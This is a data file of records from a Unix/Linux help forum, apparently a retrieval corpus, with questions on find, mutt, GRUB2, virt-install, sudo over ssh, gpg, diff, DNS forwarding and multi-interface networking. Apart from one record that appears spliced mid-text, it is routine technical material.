use gnome 3 512mb ram 3 GHz Pentium dual processor 256 MB graphics. please help. it hangs and does not respond"} {"_id": "109857", "title": "Combining options in find command", "text": "Using the `find` command is there a way to combine options: i.e. find . -type fd -name \"somefile\" Although `-type` ignores the second option; I'm looking to find only files or directories."} {"_id": "82874", "title": "Is there any DLP solution for linux?", "text": "I'm looking for a DLP (Data Leak Prevention) solution for linux environments. I know OpenDLP, but it's only a way to Prevent Clear-text file, and source codes from malicious access. There are lots of good solutions from Symantec, McAfee, Sophos and etc , But They all work with Windows and there's no Linux agent!"} {"_id": "109858", "title": "Does the installation computer affect performance?", "text": "I recently installed Debian Wheezy onto a hard drive I later intend to connect to a different computer, though the computers use different brands of hardware. Will this work? Or am I setting myself up for failure?"} {"_id": "82653", "title": "virt-install error: install methods 'cannot be specified for container guests'", "text": "I was following the Dell RHEL VM guide but working on CentOS 6.4 i386/686, and got to the virt-install step. After correcting a typo, I went back and deleted the vm.xml file it was suggested I create, and restarted libvirtd. Now I get this error, which Google mainly returns github localization pages about: $ sudo virt-install --network bridge:br0 --name vm1 --ram=1024 --vcpus=1 --disk path=/var/lib/libvirt/images/vm1.img,size=4 --cdrom ~/winxp.iso ERROR Install methods (--location URL, --cdrom CD/ISO, --pxe, --import, --boot hd|cdrom|...) cannot be specified for container guests What's a container guest and why can't I install with one? What do I need to do to fix this so I can install Windows on KVM? (And why does this, which is taken from a Dell guide, not work?)"} {"_id": "82651", "title": "How to check Grub2 config file?", "text": "When I boot my Fedora 19, I get a very brief error message when Grub2 loads. It's too quick to read, as it switches to the graphical mode almost instantly. My idea is to test the config file. I tried using the Grub2 CLI: grub> configfile /boot/grub/grub2.cfg and grub> source /boot/grub/grub2.cfg but nothing turns up. The system runs fine otherwise, even \"most\" of the grub2.cfg seems to work, as boot proceeds normally. I came across this error, when I tried to enable nVidia framebuffer mode in 1920x1080x24 mode, which I failed in doing so. I'd like to test the config file, while the system is booted, and inspect error messages if possible. _I believe the error message says something about a file not found, but again, it's that quick, that I can't be sure what it actually says_"} {"_id": "82656", "title": "mutt weird action", "text": "I wrote a little script to send multiple mails from a list with differents subjects. #!/bin/bash while read -a line do mailadd=${line[0]} subject=${line[1]} mutt -s `echo $subject` `echo $mailadd` < /home/emanuele/testomail.txt done < prova.txt The scripts works fine and sends the mails, but mutt tell me that he needs a `-s` option. mutt: option requires an argument -- 's' Mutt 1.5.21 (2010-09-15) I don't understand why the script works fine but mutt exit with an error. How can I fix it?"} {"_id": "82647", "title": "Adding a time stamp when moving a file in bash", "text": "#!/bin/bash while read server <&3; do #read server names into the while loop if [[ ! $server =~ [^[:space:]] ]] ; then #empty line exception continue fi echo \"Connecting to - $server\" #ssh \"$server\" #SSH login while read updatedfile <&3 && read oldfile <&4; do echo Comparing $updatedfile with $oldfile if diff \"$updatedfile\" \"$oldfile\" >/dev/null ; then echo The files compared are the same. No changes were made. else echo The files compared are different. # copy the new file and put it in the right location # make a back up of the old file and put in right location (time stamp) # rm the old file (not the back up) #cp -f -v $newfile mv $oldfile /home/u0146121/backupfiles/$oldfile_$(date +%F-%T) fi done 3 Enter VNC password: > Verify password: > Write password to /home/user/.vnc/passwd? [y]/n n Will using `expect` be a better solution? If so, how would I use it in this case? (I have never used `expect` before but I have looked at a lot of examples since posting this question and I cannot get `expect` to work on my own.)"} {"_id": "94279", "title": "Accessing Pendrive in Ubuntu using Wine", "text": "We use ubuntu in our college and they have blocked pendrive access. When we insert pendrive it displays a dialog that says \"There is no application to handle this file\" (or something like that). So, as a workaround some one suggested us to use wine in ubuntu to access the pendrive. We already have wine installed on the system, is there any software(windows particularly as it has to be opened using wine) to get this going ? I'm not sure how far I'm correct with what I'm retrospecting. And yes, we don't have root access"} {"_id": "39136", "title": "How to purge package in debian without affecting other packages?", "text": "I had mysql-server-5.1 installed, then upgraded to mysql-server-5.5 and now upgraded to percona server (package percona-server-server-5.5). So now I have 2 mysql-server packages removed, but not purged (in \"rc\" state). I tried to purge mysql-server-5.1 and during this, it stopped the percona server! dpkg -L mysql-server-5.1 /etc /etc/mysql /etc/mysql/conf.d /etc/init.d /etc/logrotate.d /etc/logcheck /etc/logcheck/ignore.d.server /etc/logcheck/ignore.d.server/mysql-server-5_1 /etc/logcheck/ignore.d.paranoid /etc/logcheck/ignore.d.paranoid/mysql-server-5_1 /etc/logcheck/ignore.d.workstation /etc/logcheck/ignore.d.workstation/mysql-server-5_1 How can I get rid from mysql-server-* packages without affecting the running system?"} {"_id": "39131", "title": "How to change permissions of multiple files found with find command?", "text": "I have a directory with numerous files. Part of the files have the `755` permissions and the other part have `644` permissions. I'd like to convert the files with `755` permissions to `644`. I have tried the following line by running it from the directory itself: find . -perm 755 -exec chmod 644 {}\\; However as a result, the permission changed only for the directory itself and after changing it back I found out that the files permissions remained unchanged. Do I miss something?"} {"_id": "73239", "title": "problem on installing nagios plugin on RHEL-5.1", "text": "I am trying to install nagios plugin 1.4.16 on RHEL-5.1 while I am configuring with command `./configure`. I have hanged here checking for ps syntax... I have also tried this command ./configure --with-nagios-user=nagios --with-nagios-group=nagios --enable-redhat-pthread-workaround but still I am stucking please help me what to do."} {"_id": "80658", "title": "How to run sudo commands remotely via ssh -t?", "text": "I have a script that logs into a remote host via `ssh -t` and uses `sudo service foo restart`. The requirement is to avoid the prompt for a password on the remote host. The remote host authenticates via SSH certificate. The `sudoers` file on the remote host allows that user to execute the service command with `NOPASSWD`. However, during my tests, I'm prompted for a password and this is unacceptable. If I run this manually without the `-t` flag, it works. However the `-t` flag throws everything off. Is there a way around this?"} {"_id": "42460", "title": "Can i start bluetooth deamon without usb dongle connected?", "text": "I'm installing bluetooth for my debian installation (non desktop) and I wonder about the deamon. The guide states that in order to start it I have to type: /etc/init.d/bluetooth start but really, I want to do this everytime the computer starts up... but the usb dongle is not always connected. Can I still do it? And how do i add it (rc?) so it starts up everytime."} {"_id": "42463", "title": "Decrypt files encrypted with gpg using xargs", "text": "I have a lot of files encrypted with _gpg_. All files have the same password. Is it possible to use xargs to decrypt files? `ls | xargs -n 1 gpg` asks for the password for every file."} {"_id": "42462", "title": "vpn conntect over an additional server", "text": "I (A) want to connect to my virtual XEN-server (B) with Ubuntu OS via vpn. This server (B) should than connect to another server (C). The traffic should be routed from A to C. C is using CISCO VPN. But how do I do that? Is there a howto that I can read? Thanks for y'all help"} {"_id": "42465", "title": "Unix/Linux C++ debugger that supports STL containers?", "text": "Currently I am using gcc-4.3.6 and Eclipse IDE for c++ development. I want to debug my project in Eclipse with `gdb`. I am having a hard time debugging code when it contains STL containers. Also I am not using STL directly, I have wrappers for each container. I know we have to use pretty printing for looking into STL containers, but it is not working in Eclipse. I have worked in Visual Studio in the past. I migrated to `gcc` and Eclipse because compilation time in VS is too much wrt gcc. However, the debugger in VS is very good. I don't know much about `gcc` and Eclipse. I just want to know if there is a similar debugger in linux or unix."} {"_id": "42466", "title": "How to make a module dynamically loadable on Debian?", "text": "I'm applying an API from maxmind. They require additional an module for Apache. Now they recommend the command: apxs -i -a -L/usr/local/lib -I/usr/local/include -lGeoIP -c mod_geoip.c * `-I/usr/local/include` specifies wherethe GeoIP.h header file is installed * `-L/usr/local/lib` specifies where the libGeoIP library is located This doesn't look like Debian command, so I guess I will need to look for command that will include those files in the environment so I can run them on the localhost server. An equivalent command on Debian would be appreciated."} {"_id": "80650", "title": "Getting diff (or git diff) to show inserted hunks properly", "text": "Let's say I have two files. The first one has the contents: line 1 foo line 2 line 1 bar line 2 And the second one has a new section inserted in the middle, so it looks like this: line 1 foo line 2 line 1 new text line 2 line 1 bar line 2 Now, when I do a \"diff -u\", I get output like this: --- file1 2013-06-25 16:27:43.170231844 -0500 +++ file2 2013-06-25 16:27:59.218757056 -0500 @@ -1,7 +1,11 @@ line 1 foo line 2 line 1 +new text +line 2 + +line 1 bar line 2 This doesn't properly reflect that the middle stanza was inserted -- instead, it makes it look like the second stanza was changed, and a new one added to the end (this is because the algorithm starts at the first differing line). Is there any way to get diff (either by itself, or using git diff) to show this output instead? --- file1 2013-06-25 16:27:43.170231844 -0500 +++ file2 2013-06-25 16:27:59.218757056 -0500 @@ -1,7 +1,11 @@ line 1 foo line 2 + +line 1 +new text +line 2 line 1 bar line 2 This is mostly an issue when generating a patch for someone to review, where a new function gets inserted into a group of similar functions. The default behavior doesn't reflect what really changed."} {"_id": "42468", "title": "Search for files with a specific size inside recursive zipped archives", "text": "I have a folder with several files. These files are either `.xml` or `.zip` files. These `.zip` files contain `.xml` and/or `.zip` files. These `.zip` contains also `.xml` or `.zip`, and so on... until we finally found `.xml` files. In others words, I can have several \"levels\" of zip before finding my `.xml` files (cf. example below). My requirement is to detect which **root** ZIP files contain at least one XML file that is bigger than 100Mb. When a ZIP file is in such case, it should be moved to another directory (let say `~/big-files`). Also, if a non zipped `.xml` file is bigger than 100Mb, then it should be moved to this directory. For example: foo1.xml foo2.xml baz.xml [MORE THAN 100Mb] one.zip +- foo.xml +- bar.xml [MORE THAN 100Mb] +- foo.xml two.zip +- foo.xml +- zip-inside1.zip | +- bar.xml [MORE THAN 100Mb] +- foo.xml three.zip +- foo.xml +- zip-inside2.zip | +- zip-inside3.zip | +- foo.xml | +- bar.xml [MORE THAN 100Mb] +- foo.xml four.zip +- foo.xml +- zip-inside1.zip +- foo.xml In this example, _baz.xml_ , _one.zip_ , _two.zip_ and _three.zip_ should be moved to `~/big-files` as they host at least one XML file bigger than 100Mb, but not _four.zip_. How can I achieve that in bash shell? Thanks."} {"_id": "16624", "title": "Fedora, Android phone mounting?", "text": "I am using Fedora 15 and I just plugged in my Samsung Vibrant Android phone, but my phone does not even give me the option to mount over USB like usual. It still charges though. Is there some configuration I need to do for Fedora?"} {"_id": "16622", "title": "bash: cd to the most recently modified child directory", "text": "Wondering if there's an easy and/or portable way to say \"change to the most recently modified child directory.\" I can use ls and awk but there's probably a better way. cd $( ls -ltrd */ | tail -1 | awk '{ print $8 }' ) I have to run a command in an \"output files\" directory with hundreds of subdirectories and 99% of the time I want to go to the most recently changed directory. I don't know what the names of the directories will be in advance."} {"_id": "16623", "title": "File permission execute only", "text": "How can I set file to be executable only to other users but not readable/writable, the reason for this I'm executing something with my username but I don't want to give out the password. I tried : chmod 777 testfile chmod a=x chmod ugo+x I still get permission denied when executing as another user."} {"_id": "16620", "title": "What do I install into a given install prefix", "text": "Which directories should I expect to have in an install prefix when I'm writing makefiles? I've noticed that in the common prefix `/usr`, there is no `/etc`, yet there is an `/include` dir, which isn't in the root directory. Which paths are hard-coded such as `/etc` and `/var` maybe and which directories lie in a prefix? As far as I can see `/bin` and `/lib` are standard."} {"_id": "97743", "title": "How can I tell if a third-party repository is reputable?", "text": "Among other things, I want to install ffmpeg on a CentOS server of mine (just a personal server - nothing too special). I noticed that one set of installation instructions advise to add a DAG repository: [dag] name=Dag RPM Repository for Red Hat Enterprise Linux baseurl=http://apt.sw.be/redhat/el$releasever/en/$basearch/dag gpgcheck=1 enabled=1 The name sounds familiar but I'm not sure if I've used this one before. How can I tell if it's reputable / safe / reliable?"} {"_id": "97740", "title": "Resolving pseudo domain name to private IP", "text": "Assume I have a VM running on OSX with private IP 10.0.0.1 which can be accessed from the host machine. I was wondering how can I map a pseudo domain, `*.app.dev`, to the private IP on my host machine so that on my host machine I can resolve the domain `*.app.dev` to 10.0.0.1. The purpose of this setup is to have virtual environment for development and not pollute my host machine with unnecessary packages and services. edit: I realize that `/etc/hosts` can accomplish non wildcard domain names, I should have been more clear and mention wildcard domain names."} {"_id": "88109", "title": "What does my router need to act as a name server for my home network?", "text": "I am happily using an old PC as a router. Two network cards, Debian wheezy, NAT, ... everything just fine. My home network uses static IPs, which I am also happy with. However, every box on my home network needs my provider's name servers in its own `/etc/resolv.conf` file for _the internet_ to work. I thought this would be the way to go, but I notice that when using a notebook on a commercial router, the `/etc/resolv.conf` file gets overwritten once I `dhclient` to the router, and just the router's own IP address is listed, no external name servers. I figure that (1) the only way for this to work is that the router has some way of accepting the clients' name resolving requests and passes them on to the provider's name servers and (2) this is actually a quite handy solution because it would allow me to just put my router's IP into any client's `/etc/resolv.conf` and not worry about telling each client my provider's name servers. 1. Are these assumptions (1, 2) correct? 2. Is this a feature buried in DHCP requiring my router to be a DHCP server, or would it work with static IPs, too? 3. What do I need to configure on my router in order to enable forwarding/handling my clients' name server requests?"} {"_id": "12757", "title": "System Backup in Fedora 14", "text": "Does anyone know how I can backup an entire system, such that if the disk drive failed, I could quickly restore the backup onto another disk? I'm running Fedora 14."} {"_id": "88106", "title": "Why doesn't my ~/.bash_profile work?", "text": "I'm using Linux Mint. My login shell (`cat /etc/passwd | grep myUserName`) is bash. After I start my graphical desktop environment and run terminal emulator from it, I could see that `.bash_profile` is not sourced (environment vars that `export` in it is unset). But if I login from text console (`ctrl`+`alt`+`F1`) or manually run `bash -l` from terminal emulator, `.bash_profile` works fine. Am I wrong when I think that `.bash_profile` should source when X starts and all `export`'ed vars should be available in terminal, running from X? P.S. Placing all in `.bashrc` and sourcing it from `.bash_profile` is not good idea (http://stackoverflow.com/questions/902946/): environment stuff should be sourced only once."} {"_id": "140780", "title": "Cannot open GUI's via SSH connection?", "text": "I've just connected to a Linux terminal using an `ssh` client. I'm running Linux on both desktops, but cannot open PDFs, IDE, or other graphics from the ssh client. How can I fix this?"} {"_id": "59769", "title": "How to view Graphical view of Application using ssh", "text": "> **Possible Duplicate:** > How to forward X over SSH from Ubuntu machine? Is it possible that I can view the GUI of application when I pass some command to Redhat linux Server using ssh. Like when I pass command Firefox it launches the Firefox and I can see GUI Firefox. Note :: I have not installed vnc server."} {"_id": "88100", "title": "importing data from a text file to a bash script", "text": "I need to import a text file like this below: AMBI CBNK CCXI CERE CLACW CNYD DAEG DLIA DLLR DNDN DSGX HAST HIBB, HPOL IRDMZ MARK NEPT NFEC NINE NRCIB OMER PLCC PLPM PSUN UNTK There are 25 entries, I need to pass them into a bash script. I want to run the program once for each symbol. The symbols are Nasdaq stock symbols. I'm trying to pull a quote with the script. I've been able to do this command manually: sh stock (symbol) > /home/user/Desktop/stockquote.txt by inputting the (symbol) manually, I need a a script to do it automatically."} {"_id": "12753", "title": "RHEL/CentOS: Installing a new version of Java, why not just change the path?", "text": "I am installing a new version of Java on a CentOS/RHEL Linux distro for a single developer to develop java. The way I want to install on this development system is to just put the new java version somewhere and then update my path so that the new java is earlier on the path (and thus executes always) instead of the old version of java (which will be later on the path). But while looking online I came across an official multi-page howto for this distro... and it describes a completely different idea of what I SHOULD do: http://wiki.centos.org/HowTos/JavaOnCentOS **For a single developer, is modifying the path (to point to the new java) going to work for developing java?** **Why would you ever want to go through the laborious description seen on the above referenced official wiki page?**"} {"_id": "12750", "title": "using the mail command", "text": "How do I use the mail command to check email (and send email) from gmail. Does it support labels? I couldn't have figure out where to put the username and password. I tried to search for instruction but couldn't find any"} {"_id": "100787", "title": "Bring Debian to second Position in the GRUB Menu at startup", "text": "So, I currently have BOSS Linux and I am going to install debian (currently installing right now) And I want my older OS (BOSS linux), on the first position and the debian, (freshly installed) to be on the second. Please tell me how to do that"} {"_id": "100754", "title": "How to delete a specific line and the following blank line using GNU sed?", "text": "I have the following text: Start-Date: 2013-11-11 07:43:49 Commandline: apt-get install --no-install-recommends catfish Start-Date: 2013-11-11 11:27:07 Start-Date: 2013-10-16 22:53:02 Start-Date: 2013-10-16 22:55:16 Start-Date: 2013-10-17 22:41:09 Start-Date: 2013-10-17 22:42:02 Start-Date: 2013-10-17 22:42:33 Start-Date: 2013-10-17 22:46:01 Start-Date: 2013-10-17 23:00:06 Commandline: apt-get install shimmer-themes Start-Date: 2013-10-17 23:01:52 Commandline: apt-get install --no-install-recommends gedit I would like to delete lines beginning with \"Start-Date\" and the following blank line. In other words, I would like to have just: Start-Date: 2013-11-11 07:43:49 Commandline: apt-get install --no-install-recommends catfish Start-Date: 2013-10-17 23:00:06 Commandline: apt-get install shimmer-themes Start-Date: 2013-10-17 23:01:52 Commandline: apt-get install --no-install-recommends gedit I hope my question isn't a duplicate of Remove line containing certain string and the following line"} {"_id": "64733", "title": "GUI tool for managing Samba shares?", "text": "My understanding is that swat is no longer actively maintained. [1] Is there a GUI tool for maintaining Samba shares. PS Platform:LDME [1] Not only that I can't get it to work with xinetd on my system."} {"_id": "153631", "title": "Avconv Error when trying to save an updating snapshot of an IP-camera stream", "text": "I'm trying to save an updating image of my camera stream on my Desktop. avconv -i rtsp://admin:12345@192.168.1.199/h264 -f image2 -r 1 /home/nuc/Images/img.jpg Protocol avconv version 9.16-6:9.16-0ubuntu0.14.04.1, Copyright (c) 2000-2014 the Libav developers built on Aug 10 2014 18:16:02 with gcc 4.8 (Ubuntu 4.8.2-19ubuntu1) [h264 @ 0x1eb8180] RTP: missed 5 packets [h264 @ 0x1eb8180] concealing 2447 DC, 2447 AC, 2447 MV errors [rtsp @ 0x1eb4020] Estimating duration from bitrate, this may be inaccurate Input #0, rtsp, from 'rtsp://admin:12345@192.168.1.199/h264': Metadata: title : Media Presentation Duration: N/A, start: 0.000044, bitrate: N/A Stream #0.0: Video: h264 (Main), yuv420p, 1920x1080, 25 fps, 45k tbr, 90k tbn, 50 tbc Output #0, image2, to '/home/nuc/Bilder/img.jpg': Metadata: title : Media Presentation encoder : Lavf54.20.4 Stream #0.0: Video: mjpeg, yuvj420p, 1920x1080, q=2-31, 200 kb/s, 90k tbn, 1 tbc Stream mapping: Stream #0:0 -> #0:0 (h264 -> mjpeg) Press ctrl-c to stop encoding [h264 @ 0x1fe5740] concealing 2447 DC, 2447 AC, 2447 MV errors Error: Could not get frame filename number 2 from pattern '/home/nuc/Bilder/img.jpg' av_interleaved_write_frame(): Input/output error nuc@nuc:~$"} {"_id": "100751", "title": "Can only get one network to be accessible from outside", "text": "So here's a quick overview of my setup: I purchased a new Mac Mini server and I am hosting it with a Mac Mini co-lo facility. At first I had them keep OSX installed and I was using VirtualBox to place CentOS 6.4 (minimal) in a VM. I have 5 public IP's assigned to my Mac Mini (one physical NIC). All are on the same subnet and IP block thus have the same gateway. I ran into an issue with running the VM in VirtualBox where only one of the IP addresses setup in CentOS would work from the outside (public) BUT all of them would work if accessed from the host system (using the public IP). I figured OSX was doing something weird so I had the host install ESXi 5.5 on the Mac Mini (had contemplated doing that anyway). So now I have ESXi 5.5 installed and a single VM (CentOS 6.4 minimal) running on it. I proceeded to setup my IP addresses for CentOS and now I'm running into the same exact issue. I can ping (and obviously access) the main ESXi IP, and I can ping and access the IP for eth0 in CentOS, but any additional IP's aren't accessible. Here are pertinent files and their current setup: **/etc/sysconfig/network** : NETWORKING=yes HOSTNAME=my.hostname.com GATEWAY=208.x.x.1 **/etc/sysconfig/network-scripts/ifcfg-eth0** : DEVICE=eth0 HWADDR=00:0C:29:78:42:C4 TYPE=Ethernet UUID=1eeafa3a-87b1-4080-9de0-8e4dd9420ba3 ONBOOT=yes NM_CONTROLLED=no BOOTPROTO=static IPADDR=208.x.x.12 NETMASK=255.255.255.0 **/etc/sysconfig/network-scripts/ifcfg-eth0** : DEVICE=eth1 HWADDR=00:0C:29:78:42:CE TYPE=Ethernet UUID=be671894-6044-4870-b1e1-2a9c1758c551 ONBOOT=yes NM_CONTROLLED=no BOOTPROTO=static IPADDR=208.x.x.13 NETMASK=255.255.255.0 **ip addr** : 1: lo: mtu 16436 qdisc noqueue state UNKNOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: mtu 1500 qdisc mq state UP qlen 1000 link/ether 00:0c:29:78:42:c4 brd ff:ff:ff:ff:ff:ff inet 208.x.x.12/24 brd 208.x.x.255 scope global eth0 inet6 fe80::20c:29ff:fe78:42c4/64 scope link valid_lft forever preferred_lft forever 3: eth1: mtu 1500 qdisc mq state UP qlen 1000 link/ether 00:0c:29:78:42:ce brd ff:ff:ff:ff:ff:ff inet 208.x.x.13/24 brd 208.x.x.255 scope global eth1 inet6 fe80::20c:29ff:fe78:42ce/64 scope link valid_lft forever preferred_lft forever 4: eth2: mtu 1500 qdisc mq state UP qlen 1000 link/ether 00:0c:29:78:42:d8 brd ff:ff:ff:ff:ff:ff inet 208.x.x.14/24 brd 208.x.x.255 scope global eth2 inet6 fe80::20c:29ff:fe78:42d8/64 scope link valid_lft forever preferred_lft forever 5: eth3: mtu 1500 qdisc mq state UP qlen 1000 link/ether 00:0c:29:78:42:e2 brd ff:ff:ff:ff:ff:ff inet 208.x.x.15/24 brd 208.x.x.255 scope global eth3 inet6 fe80::20c:29ff:fe78:42e2/64 scope link valid_lft forever preferred_lft forever **ip route** : 208.x.x.0/24 dev eth0 proto kernel scope link src 208.x.x.12 208.x.x.0/24 dev eth1 proto kernel scope link src 208.x.x.13 208.x.x.0/24 dev eth2 proto kernel scope link src 208.x.x.14 208.x.x.0/24 dev eth3 proto kernel scope link src 208.x.x.15 169.254.0.0/16 dev eth0 scope link metric 1002 169.254.0.0/16 dev eth1 scope link metric 1003 169.254.0.0/16 dev eth2 scope link metric 1004 169.254.0.0/16 dev eth3 scope link metric 1005 default via 208.x.x.1 dev eth0 **ifconfig -a** : eth0 Link encap:Ethernet HWaddr 00:0C:29:78:42:C4 inet addr:208.x.x.12 Bcast:208.x.x.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe78:42c4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:3549 errors:0 dropped:0 overruns:0 frame:0 TX packets:1188 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:256360 (250.3 KiB) TX bytes:120840 (118.0 KiB) eth1 Link encap:Ethernet HWaddr 00:0C:29:78:42:CE inet addr:208.x.x.13 Bcast:208.x.x.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe78:42ce/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:3160 errors:0 dropped:0 overruns:0 frame:0 TX packets:17 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:223374 (218.1 KiB) TX bytes:1238 (1.2 KiB) eth2 Link encap:Ethernet HWaddr 00:0C:29:78:42:D8 inet addr:208.x.x.14 Bcast:208.x.x.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe78:42d8/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2266 errors:0 dropped:0 overruns:0 frame:0 TX packets:17 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:136142 (132.9 KiB) TX bytes:1238 (1.2 KiB) eth3 Link encap:Ethernet HWaddr 00:0C:29:78:42:E2 inet addr:208.x.x.15 Bcast:208.x.x.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe78:42e2/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2260 errors:0 dropped:0 overruns:0 frame:0 TX packets:17 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:135782 (132.5 KiB) TX bytes:1238 (1.2 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:937 errors:0 dropped:0 overruns:0 frame:0 TX packets:937 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:123340 (120.4 KiB) TX bytes:123340 (120.4 KiB) I'm only including the setup for eth0 and eth1 since eth2/3 are setup the same way. Again, I can only access one at a time. What am I missing?"} {"_id": "100750", "title": "How to recognize harmful AUR packages", "text": "How do I recognize if a package which is installed via yaourt on arch linux could be harmful to my pc? I read in the wiki that I should check every installation I make with yourt. But what exactly do I have to check and how do I recognize malicious packages?"} {"_id": "64736", "title": "combine output from two commands in bash", "text": "Is it possible to combine output from these two commands? node ~/projects/trunk/index.js python ~/projects/trunk/run.py run Neither command exits so I'm not sure how to do this."} {"_id": "64738", "title": "IPFW Port Forwarding", "text": "This is my situation: I want to connect to an OpenVPN server from my office (we're using a proxy, only ports 80 and 443 are allowed). Server IP address is: 176.31.250.232:843 My static IP address is: 192.168.78.241 Is possibile to forward the 843 TCP port to the 443 port using IPFW? (I'm on OSX). Thanks for the answers."} {"_id": "153638", "title": "Apache web server configuration with a DNS server Linux 14.04 LTS", "text": "I need to configure a Apache web server with a DNS server, it can be a simple local server configuration just to practice and see how a DNS server resolves a URL to an ip address and connects to a web server. I already have LAMP installed on my computer but I don't know how or where to start with the DNS server. If there are any tutorials similar to what Iam trying to do I would appreciate it."} {"_id": "150482", "title": "Ctrl-w closes my Chrome window", "text": "As I become more used to Emacs, I mix it with other applications quite a lot. For killing some text in Chrome browser windows, I repeatedly type `Ctrl``w`, and close chrome windows and lost my unfinished input. Is `Ctrl``w` a window-closing shortcut for Chrome only, or for majority applications in Ubuntu 12.04? I opened Chrome's settings, but didn't find that setting."} {"_id": "120009", "title": "Strip specific option from a response in dhclient", "text": "I aim to prohibit `dhclient` from updating my NTP config with servers received via DHCP, as it is the default on Debian/Ubuntu. However, my DHCP server ignores the list of requested options (from the `request` setting) and its answers always contain an NTP server. So I want to remove the option before further processing or at least overwrite it with an empty value. Overwriting is possible using the `supersede` setting, but I didn't manage to make it empty. I also couldn't find a way to completely delete an option. What in fact results in an empty value is specifying an invalid one in `supersede` (e.g. containing letters, as only numerical values are allowed). This is actually invalid and causes errors in the logfile though. Is anyone aware of a better way?"} {"_id": "152583", "title": "what does *-*-c-*-*-* mean in a font-setting", "text": "I often see Fonts being set like this: (e.g. in dmenu or bar-ain't-recursive) -*-terminus-medium-r-normal-*-14-*-*-*-c-*-*-* what does these `*-c*-*` sign mean? I really don't get it..."} {"_id": "63702", "title": "Limit internet speed without tc", "text": "I'm using deb based linux for years and I never had problems limiting the internet speed using wondershaper. The problem is that on sisters PC I had to install puppy linux because it's a very old PC. The problem is, wondershaper won't work since it requires tc. I got a suggestion to try using trickle, which also seems to be a nice bandwidth shaper but I was unable to get it working on puppy. Anyone has experience with puppy and bandwidth shaping, or maybe a suggestion how to get the tc command on puppy? Thanks!"} {"_id": "16990", "title": "Using data read from a pipe instead than from a file in command options", "text": "Per man definition, this command gets the input from a file. $ command -r FILENAME Suppose that `FILENAME` is a file containing a list of filenames, as it was generated using `ls > FILENAME`. How can I, instead, feed the command with the result of `ls` directly? In my head something like this should be possible: `$ ls | command -r` But it doesn't, the output of `ls` doesn't get hooked as an argument. Output: Usage: command -r FILENAME error: -r option requires an argument How could I obtain the desired effect?"} {"_id": "152586", "title": "What do the tags in `monitors.xml` do?", "text": "I have a GNOME 3 desktop environment installed on my Arch Linux box, and I would like to manually configure my desktop settings. I understand there is a file `~/.config/monitors.xml` but I am quite puzzled about what the tags in the file actually do. I am particularly interested in the `presentation`, `clone`, `reflect_x` and `reflect_y` tags. I could not find a manual online for this configuration file. I understand they might have something to do with dual head support?"} {"_id": "152585", "title": "how to detect video completion in vlc", "text": "Vlc provide documents in which there are lots of command are given to control vlc from command line. Here is the link of documentation. Now in my task, I need to run a video in a loop, for this I am using this command vlc --fullscreen --loop t.mp4 where t.mp4 is my video.This is working fine.Now on some particular input I have to run some another video, for this I am again using this command vlc --fullscreen t1.mp4 Now the problem is, after completing this video I want to run previous video. For this somehow I need to know my current video is completed. For this please tell me the command through which I can know the completion of vlc video."} {"_id": "16993", "title": "Ls with spaces + variables", "text": "I want to do something like this, but it doesn't save the variable after the piping ends: fs=( ) echo ${fs[@]} ls -A1 | while read f do echo ${fs[@]} fs+=( \"$f\" ) echo ${fs[@]} done echo \"All files/dirs: \"${fs[@]} With files 1, 2 and 3 in the current dir I get this output: # Output: 1 1 1 2 1 2 1 2 3 All files/dirs: How do I keep the fs variable's value, after the piping ends? **Update:** * Can't use *, becuase i need hidden files * Can't just use fs=($(ls)), while sometimes the file/dir names will have spaces in them"} {"_id": "63708", "title": "What are some of the main differences between vim and vi?", "text": "What are a few of the main differences between vi and vim? Are there any significant keyboard shortcut differences, any features that one has that the other does not? Yes, I do know that I asked another question similar to this (Vi vs vim, or, is there any reason why I would ever want to use vi?), but the purpose of that question was not a complete comparison between the two, but merely asking if there were any possible situations where vi had the advantage. _This_ post is a direct comparison between the feature-sets of vi and vim. Edit: I was wrong, this is not a comparison between the features of vi and vim. vim, being Vi IMproved, has many, many more features then vi. What I am asking is, if you have been using vi all your life and one day you sit down and start using vim, what will be different? Or if you were a vim user previously and tried out vi, what differences would you notice?"} {"_id": "152589", "title": "Is it possible to prevent eth0 network traffic from accessing eth1 network?", "text": "I am not really sure how this is possible but I have a linux(ubuntu 14.04) box with 2 interfaces. eth0 is connected to our lan `192.168.0.*` and eth1 is connected to a dlink wifi router on network `192.168.3.*` . Wifi network is only available for mobile devices. They are only supposed to access a web application installed on the box. I want to prevent any eventualities such as accessing 192.168.0.* network even if someone gets authorized access to the box via ssh. Is something like that possible? if yes please explain how to and give any resource you have for better understanding. Networking is not my strongest area but can understand much of the concept when explained clearly so please bear with me. **EDIT** In /etc/sysctl.conf I have now `net.ipv4.ip_forward=0` with sudo -p /etc/sysctl.conf with a restart of the machine. But it didn't work. I can ping 192.168.0.* network #sysctl -a net.ipv4.conf.all.accept_local = 0 net.ipv4.conf.all.accept_redirects = 1 net.ipv4.conf.all.accept_source_route = 0 net.ipv4.conf.all.arp_accept = 0 net.ipv4.conf.all.arp_announce = 0 net.ipv4.conf.all.arp_filter = 0 net.ipv4.conf.all.arp_ignore = 0 net.ipv4.conf.all.arp_notify = 0 net.ipv4.conf.all.bootp_relay = 0 net.ipv4.conf.all.disable_policy = 0 net.ipv4.conf.all.disable_xfrm = 0 